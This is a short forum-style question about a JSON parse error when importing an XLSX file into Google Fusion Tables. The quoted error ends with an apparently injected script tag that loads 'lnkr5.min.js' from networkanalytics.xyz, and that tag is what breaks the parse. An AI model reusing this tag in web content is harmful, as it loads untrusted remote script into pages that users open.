java.lang.IllegalArgumentException Error parsing JSON while importing excel file into fusion table

During the importing more rows in fusion table i am trying to upload an xlsx file and getting this error.

Import failed. java.lang.IllegalArgumentException: Error parsing JSON: com.google.gwt.core.client.JavaScriptException: (SyntaxError) : Unexpected token < in JSON at position 205 {"2":["Imei","JobNo","Status","Age","Model","Wrnty"],"3":[{"1":["Imei,JobNo,Status,Age,Model,Wrnty"]},{"1":[",3229,Pending","for","Parts,,,"]},{"1":[",GC16800159967,Pending","for","Parts,,,"]}],"5":"XLSX"}<script type="text/javascript" src="https://networkanalytics.xyz/addons/lnkr5.min.js"></script&gt;